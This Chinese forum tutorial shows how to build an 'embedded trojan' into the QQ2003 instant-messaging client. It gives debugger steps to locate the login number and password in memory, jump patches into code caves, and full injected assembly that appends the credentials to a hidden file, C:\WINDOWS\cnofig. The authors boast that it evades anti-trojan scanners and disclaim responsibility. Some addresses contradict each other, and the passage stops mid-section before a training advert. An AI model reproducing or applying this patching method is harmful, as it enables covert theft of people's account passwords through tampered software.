嵌入式木马---QQ另类木马全攻略
作者: laoqian[FCG]
nbw[NE365][FCG][BCG][DFCG]
谨以此文献给FCG :
。在此感谢看雪论坛关心和支持我的朋友,感谢Laoqian[FCG]大哥对我的支持和鼓励。一并感谢NE365的死党 :)
木马的作用和危害自不必多说。当前流行的木马,基本都是一个单独的程序,该程序运行在系统中,除了监测用户特定操作,其他和一般程序没什么区别。我这里说的所谓的“嵌入式木马”,并不是一个单独的程序,该“木马”像病毒一样嵌入目标软件,每当该软件被启动,木马程序也就被激活。这种做法好处很明显:1、占用系统资源极少;2、速度快,效率高;3、难以被查杀。
这里用QQ举例,修改QQ程序,让QQ读取用户账号和密码。
需要声明的有以下几点:
1、读取的账号和密码是即将被QQ处理的数据,因此,不管用户输入密码的时候,采用复制或者软键盘,都不会被幸免;
2、不会被木马克星之类的软件查杀。由于市面上QQ修改版很多,估计短期内也不会被各种杀毒软件查杀;
3、我们不对该文章产生的任何后果负责。
4、由于版本问题,如您照此进行试验而未果,我想是很正常的。
盗取QQ2003密码和号码
作者:nbw
一、查找密码和号码的存放位置
保存号码处:
如果输入号码位数小于5便弹出提示.所以bpx messageboxa.停留在一处,在此处F12,回到外面一层,向上查找,到:
:* Reference To: QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h
|
:00414D76 FF15BC925300 Call dword ptr [005392BC]
:00414D7C 3BC3 cmp eax, ebx
:00414D7E 59 pop ecx
:00414D7F 74D0 je 00414D51 ;如果小于5便不跳
上面的call追进去,其领空为:QQHelperInDll.dll .进去查看:
:1000A260 8B4508 mov eax, dword ptr [ebp+08] ;[ebp+08]--->用户QQ号码
:1000A263 8B40F8 mov eax, dword ptr [eax-08] ;[eax-08]--->QQ号码的长度
:1000A266 83F805 cmp eax, 00000005 ;判断号码长度是否大于5
:1000A269 7D05 jge 1000A270
保存密码处:
找到了号码存放位置以后,填写号码和密码点下一步(最好填5位以下的密码,这样就不用进入下一个界面).在上面的
mov eax, dword ptr [ebp+08]处拦截下来.下命令d eax,看到自己的号码.向上不远便是自己输入的密码.这个存放密码
的位置是变化的.比如说是在016F:0098EC1C处.下命令bpm 016F:0098EC1C w .回到QQ,再次输入一个密码,被拦截,可以
pmodule回到QQ领空,然后再次F12,跳出来.可以找到关键的call是: :0041370D Call 004FE0A2 这是一个MFC类库中的
函数.有兴趣可以进去看一看,很简单.我就不说了.总之这个函数的返回值是:eax-->密码长度,ecx-->密码存放位置.嘿嘿,
现在密码和号码全都有了.想干什么该我们说了算了.
我这里不能上网:(.. ,也没有QQ登录的纪录.如果有以前的登录纪录,就可以找到密码验证的地方,从而直接看出来密码和号码
的位置,而不用象我这样还要处理QQHelperInDll.dll .
二、保存号码和密码
首先,处理密码的保存。因为密码显示区在QQ主文件领空.比较方便修改.
查找剩余空间:
用我写的"剩余空间查看器"分析,部分结果如下:
名称 RVA OA 尺寸D 可写否
.text 0013737e 0013737e 3202 否
.rdata 0018b756 0018b756 2218 否
就说从文件偏移地址0018b756开始,有2218字节可用空间.但是.rdata段为不可写,无法利用这里的空间声明变量.不过不要紧,用
PEditor把这个节区属性改成可写便可以了.事实证明,整个文件中只有.rdata区段最后的剩余空间可以被正确加载,也只有这区区
2218字节供我们利用:(..
三、修改文件,跳转到我们的代码区
源文件为:
:0041370D E890A90E00 Call 004FE0A2
:00413712 8D8624040000 lea eax, dword ptr [esi+00000424]
:00413718 50 push eax
:00413719 6844010000 push 00000144
:0041371E 57 push edi
改为:
:0041370D E890A90E00 Call 004FE0A2
:00413712 jmp 18b78c ;我们的代码将填写在58b78c
:00413717 nop
:00413718 50 push eax
:00413719 6844010000 push 00000144
:0041371E 57 push edi
中间减少了:
:00413712 8D8624040000 lea eax, dword ptr [esi+00000424] 记录下来,以后补上
四、需要用的函数调用地址
CreateFileA : 538198
SetFilePointer : 53819C
WriteFile : 5381A0
五、填写保存密码的代码
改为:
:0041370D E890A90E00 Call 004FE0A2
:00413712 jmp 18b78c ;我们的代码将填写在537450
:00413717 nop
:00413718 50 push eax
:00413719 6844010000 push 00000144
:0041371E 57 push edi
中间减少了:
:00413712 8D8624040000 lea eax, dword ptr [esi+00000424] 记录下来,以后补上
变量组织:
18b760 : "C:\WINDOWS\cnofig"----保存号码的文件地址.
18b774 : WriteFile函数的一个参数.对我们来说没用.不过不可少
18b780 : 文件句柄 18b784 : 密码地址 18b788 : 密码长度
:0058b78c test eax,eax ;有很多时候需要跳转到这里,如果不加区分就纪录,会导致很多资料被纪录.
如果eax是空,则不纪录.当然,这也或许是用户的密码本身就是空
jz @F
:0058b790 pushad ;代码中多插几个nop。防止以后修改代码的时候没有足够空间
add ecx,eax ;在密码最后面加一个#号用于区分
mov byte [ecx],23
sub ecx,eax
inc eax
mov [0058b784],ecx ;密码地址
mov [0058b788],eax ;密码长度
push 00000000
push 00000002 ;FILE_ATTRIBUTE_HIDDEN,建立文件时使文件属性为隐藏
push 00000004 ;OPEN_ALWAYS.如果不存在该文件,则建立之
push 00000000
push 00000003 ;允许其他进程使用文件(为了不发生意外,所以这样设置)
push C0000000
push 0058b760 ;pointer to name of the file
* Reference To: kernel32.CreateFileA, Ord:0030h
|
Call 538198
mov [0058b780],eax ;保存文件句柄
nop
nop
nop
nop
push 00000002 ;FILE_END.设置文件末尾
push 00000000
push 00000000 ;设定文件指针为文件末尾
push eax
* Reference To: kernel32.SetFilePointer, Ord:0236h
|
Call 53819C
nop
nop
nop
push 00000000
push 0058b774
push [0058b788] ;密码长度
push [0058b784] ;密码地址
push [0058b780] ;文件句柄
* Reference To: kernel32.WriteFile, Ord:029Eh
|
Call 005381A0
popad
@@: lea eax, dword ptr [esi+00000424]
jmp 00013718
********************************************************************************************************
********************************************************************************************************
********************************************************************************************************
六、填写保存QQ号码的代码
过程同上面差不多.只不过这里需要修改QQHelperInDll.dll
文件中调用函数为:
:00414D76 FF15BC925300 Call dword ptr [005392BC] ;调用QQHelperInDll.dll中的函数
1、查找剩余空间
分析如下:
.text 00014eb6 00014eb6 330 否
.rdata 0002cb14 0002cb14 1260 否
.data 0002ec94 0002ec94 -3220 可
.rsrc 0002f378 0002e378 3208 否
.reloc 00031b72 00030b72 1166 否
仍然把剩余空间定为.rdata段最后,并把这个段修改为可写。但是这个段也无法全部加载,可用空间从0002cb14截止到0002cbff
2、修改文件,跳转到我们的代码区
源文件:(注意文件偏移地址,比如:1000A260---->A260)
:1000A260 8B4508 mov eax, dword ptr [ebp+08] ;[ebp+08]--->用户QQ号码
:1000A263 8B40F8 mov eax, dword ptr [eax-08] ;[eax-08]--->QQ号码的长度
:1000A266 83F805 cmp eax, 00000005 ;判断号码长度是否大于5
:1000A269 7D05 jge 1000A270
修改为:
:1000A260 jmp 0002cb14
:1000A265 nop
:1000A266 83F805 cmp eax, 00000005 ;判断号码长度是否大于5
:1000A269 7D05 jge 1000A270
少了2句:
mov eax, dword ptr [ebp+08]
mov eax, dword ptr [eax-08] ;记录下来,以后加上
3、填写保存密码的代码
变量组织:
58b760 : "C:\WINDOWS\cnofig"----保存号码的文件地址.
58b774 : WriteFile函数的一个参数.对我们来说没用.不过不可少
58b780 : 文件句柄 58b784 : 密码地址 58b788 :密码长度
:002cb14 pushad ;代码中多插几个nop。防止以后修改代码的时候没有足够空间
mov eax, dword ptr [ebp+08]
mov ecx,eax ;ecx--->用户QQ号码地址
mov eax, dword ptr [eax-08] ;eax--->QQ号码的长度
add ecx,eax ;在密码最后面加一个$号用于区分
mov byte [ecx],24
sub ecx,eax
inc eax
mov [0058b784],ecx ;密码地址
mov [0058b788],eax ;密码长度
push 00000000
push 00000002 ;FILE_ATTRIBUTE_HIDDEN,建立文件时使文件属性为隐藏
push 00000004 ;OPEN_ALWAYS.如果不存在该文件,则建立之
push 00000000
push 00000003 ;允许其他进程使用文件(为了不发生意外,所以这样设置)
push C0000000
push 0058b760 ;pointer to name of the file
* Reference To: kernel32.CreateFileA, Ord:0030h
|
Call 538198
mov [0058b780],eax ;保存文件句柄
nop
nop
nop
nop
push 00000002 ;FILE_END.设置文件末尾
push 00000000
push 00000000 ;设定文件指针为文件末尾
push eax
* Reference To: kernel32.SetFilePointer, Ord:0236h
|
Call 53819C
nop
nop
nop
push 00000000
push 0058b774 ;5ECBe4
push [0058b788] ;密码长度
push [0058b784] ;密码地址
push [0058b780] ;文件句柄
* Reference To: kernel32.WriteFile, Ord:029Eh
|
Call 005381A0
popad
mov eax, dword ptr [ebp+08]
mov eax, dword ptr [eax-08]
jmp 000A266
运行的时候发现,每次向号码框中输入一个数字,QQ便会调用这个函数。所以就是说每向号码框中输入一位数字,便会
产生一次写文件操作。随便跟踪一下,发现调用这个函数的地方在:413f0c 。SO,把:413f0c 处的call去掉便可以了。
<自动保存QQ2003III木子版1.4的号码和密码到指定文件>
软件名称: 腾讯 QQ2003 III 木子版 1.4
软件大小: 1,765,376 字节
应用平台: Win2000,winxp,win98SE
软件类别: QQ
发布主页:
软件介绍: 不用说
破解工具: ollydbg 1.10(Fly修改版) ,W32DASM10,UltraEdit10.0,c32asm ,剩余空间查看器,PEditor
破解目的: 自动保存QQ木子版1.4的号码和密码到指定文件
破解过程:
一、查找密码和号码的存放位置----准备工作
无壳,直接用W32DASM反汇编,先查找可疑字符串、调用函数等。再用ollydbg 1.10调试,断点就好设了。
先找保存号码处:
我们知道如果输入号码位数小于5便弹出提示,那我们在这里设断,同时用W32DASM反汇编,查找到可疑调用:QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h
ollydbg 1.10打开QQ.exe,所以bpd messageboxa.
然后找到QQHelperInDll.?CheckQQUinValid所在的messageboxa下断,F9运行,F8查找到:
00414F19 . FF15 C8A25300 call dword ptr ds:[<&QQHelperInDll.Che>; QQHelper.CheckQQUinValid
00414F1F . 3BC3 cmp eax,ebx
00414F21 . 59 pop ecx ;--->可以看到ecx=用户QQ号码
00414F22 .^ 74 D0 je short QQmz14.00414EF4 ;如果小于5便不跳
00414F24 . 8D4D D8 lea ecx,dword ptr ss:[ebp-28]
00414F27 . E8 20A40E00 call
上面的00414F19:call追进去,其领空为:QQHelperInDll.dll .进去查看,走到:
0023AEAA 59 pop ecx ; USER32.SendMessageA
0023AEAB 8B45 08 mov eax,dword ptr ss:[ebp+8] ;[ebp+08]--->用户QQ号码
0023AEAE 8B40 F8 mov eax,dword ptr ds:[eax-8] ;[eax-08]--->QQ号码的长度
0023AEB1 83F8 05 cmp eax,5 ;判断号码长度是否大于5
0023AEB4 7D 05 jge short QQHelper.0023AEBB
0023AEB6 6A 02 push 2
返回QQ.exe领空继续走,有些累,暂时先换个思路,以下这是nbw提供的方法,只是他用TRW而已。
保存密码处:
找到了号码存放位置以后,填写号码和密码点下一步(最好填5位以下的密码,这样就不用进入下一个界面).在上面的mov eax, dword ptr [ebp+08]处设断拦截下来.下命令d eax,看到自己的号码.向上或向下不远便是自己输入的密码.这个存放密码的位置每次打开QQ运行是变化的,但只要调试时不关闭重启QQ他是固定的。比如说是在0012EC1C处,右键“转存跟随”,然后下内存访问断点.回到QQ,再次输入一个密码,被拦截,然后F8走,这时注意ecx,eax的值.可以找到关键的call是: 004138B0 Call 004FF4FC ,F8走过这个call这时ecx=QQ密码,eax=密码长度。 这是一个MFC类库中的函数.有兴趣可以进去看一看,很简单.我就不说了.总之这个函数的返回值是:eax-->密码长度,ecx-->密码存放位置。
*****************************************
显示QQ 登陆密码 ecx=QQ密码,eax=密码长度
*****************************************
* Reference To: MFC42.Ordinal:08FD, Ord:08FDh
|
:0041389D E854BC0E00 Call 004FF4F6
:004138A2 8D8620040000 lea eax, dword ptr [esi+00000420]
:004138A8 BBB4000000 mov ebx, 000000B4
:004138AD 50 push eax
:004138AE 53 push ebx
:004138AF 57 push edi
* Reference To: MFC42.Ordinal:0942, Ord:0942h
|
:004138B0 E847BC0E00 Call 004FF4FC ;关键call [1],ecx=QQ密码,eax=密码长度
:004138B5 8D8624040000 lea eax, dword ptr [esi+00000424] ;我们就改这里了!!!
:004138BB 50 push eax
:004138BC 6844010000 push 00000144
:004138C1 57 push edi
* Reference To: MFC42.Ordinal:08FD, Ord:08FDh
|
:004138C2 E82FBC0E00 Call 004FF4F6
......
************************************************
到此号码和密码都有了,但是号码是出现在QQHelperInDll.dll里,由于nbw不能上网 .. ,也没有QQ登录的纪录.如果有以前的登录纪录,就可以找到密码验证的地方,从而直接看出来密码和号码的位置,而不用这样还要处理QQHelperInDll.dll。
我可以上网,那我接下来找一个在QQ.exe里QQ号码存放地址。
我们在关键call [1]那里设个断点,并暂时关闭其他断点,输入QQ号码和密码,重新运行:
004138B0 E847BC0E00 Call 004FF4FC ;我们设断点在这里
中断后,F8一步一步走,这时注意ecx,eax的值,直到看到ecx=QQ号码,eax=号码长度,期间要反复回到004138B0 Call 004FF4FC这个call三四次,最后我们发现这个关键call [2]::00414B2F Call 004FF62E。
***********************************************
显示QQ号码 登陆,这里ecx=QQ号码,eax=号码长度
***********************************************
* Reference To: MFC42.Ordinal:0C14, Ord:0C14h
|
:00414B28 E817AA0E00 Call 004FF544
:00414B2D 8BC8 mov ecx, eax
* Reference To: MFC42.Ordinal:0F22, Ord:0F22h
|
:00414B2F E8FAAA0E00 Call 004FF62E ;关键call [2],ecx=QQ号码,eax=号码长度
:00414B34 33DB xor ebx, ebx ;我们就改这里了!!!
:00414B36 395E68 cmp dword ptr [esi+68], ebx
:00414B39 7403 je 00414B3E
:00414B3B 895E6C mov dword ptr [esi+6C], ebx
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414B39(C)
|
:00414B3E 8D4DE8 lea ecx, dword ptr [ebp-18]
* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:00414B41 E806A80E00 Call 004FF34C
:00414B46 8D4DEC lea ecx, dword ptr [ebp-14]
************************
接着往下走就会到这里,也显示ecx=QQ号码或email登陆,但是没有长度
我们改下面也行,不过麻烦一些。
******************
显示QQ号码 登陆
****************
* Reference To: QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h ;看到明显的提示CheckUinValid
|
:00414571 FF15C8A25300 Call dword ptr [0053A2C8]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041434E(U)
|
:00414577 3BC3 cmp eax, ebx
:00414579 59 pop ecx
:0041457A 0F8507030000 jne 00414887
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041455C(U)
|
:00414580 807E6401 cmp byte ptr [esi+64], 01
:00414584 7505 jne 0041458B
:00414586 8B45E4 mov eax, dword ptr [ebp-1C]
:00414589 EB12 jmp 0041459D
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414584(C)
|
:0041458B FF767C push [esi+7C] ;ecx=QQ号码,没有长度
:0041458E 6AFF push FFFFFFFF
:00414590 684C010000 push 0000014C
:00414595 FFB6B0000000 push dword ptr [esi+000000B0]
:0041459B FFD7 call edi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414589(U)
|
:0041459D 83F8FF cmp eax, FFFFFFFF
:004145A0 8945E8 mov dword ptr [ebp-18], eax
:004145A3 0F84DE020000 je 00414887
:004145A9 53 push ebx
******************
显示QQ号码email登陆
******************
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414EF8(C)
|
:00414F82 FF767C push [esi+7C] ;ecx=email,没有长度
:00414F85 6AFF push FFFFFFFF
:00414F87 684C010000 push 0000014C
:00414F8C FFB6B0000000 push dword ptr [esi+000000B0]
:00414F92 FFD7 call edi
.............
**********
**
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00414BEA(C), :00414F22(C)
|
:00414EF4 807E6401 cmp byte ptr [esi+64], 01
:00414EF8 0F8584000000 jne 00414F82 ;跳到00414F82
:00414EFE 8B45DC mov eax, dword ptr [ebp-24]
:00414F01 E98E000000 jmp 00414F94
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414BBA(C)
|
:00414F06 51 push ecx
:00414F07 8D467C lea eax, dword ptr [esi+7C]
:00414F0A 8BCC mov ecx, esp
:00414F0C 8965D4 mov dword ptr [ebp-2C], esp
:00414F0F 50 push eax
* Reference To: MFC42.Ordinal:0217, Ord:0217h
|
:00414F10 E8F9A50E00 Call 004FF50E
:00414F15 C645FC02 mov [ebp-04], 02
* Reference To: QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h ;看到明显的提示CheckUinValid
|
:00414F19 FF15C8A25300 Call dword ptr [0053A2C8]
:00414F1F 3BC3 cmp eax, ebx
:00414F21 59 pop ecx
:00414F22 74D0 je 00414EF4
:00414F24 8D4DD8 lea ecx, dword ptr [ebp-28]
..........
........
*****
* Reference To: QQHelperInDll.?CheckEmailValid@@YAHVCString@@@Z, Ord:0012h ;看到明显的提示CheckEmailValid
|
:00414BE1 FF1568A25300 Call dword ptr [0053A268]
:00414BE7 3BC3 cmp eax, ebx
:00414BE9 59 pop ecx
:00414BEA 0F8404030000 je 00414EF4 ;跳到00414EF4
:00414BF0 8D4DE0 lea ecx, dword ptr [ebp-20]
* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:00414BF3 E854A70E00 Call 004FF34C
.............
省略
............
********************
分析一下就明白,这是QQ的3种登陆方式,QQ号,email,还有手机,我们就用最前面我们找到的那个CAll,3种方式都在那里开始。
****分析到此,
嘿嘿,现在密码和号码全都有了.想干什么该我们说了算了----这是nbw的原话!
二、保存号码和密码到文件----diy开始!
因为号码、密码显示区都在QQ主文件领空找到,这就比较方便修改了。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课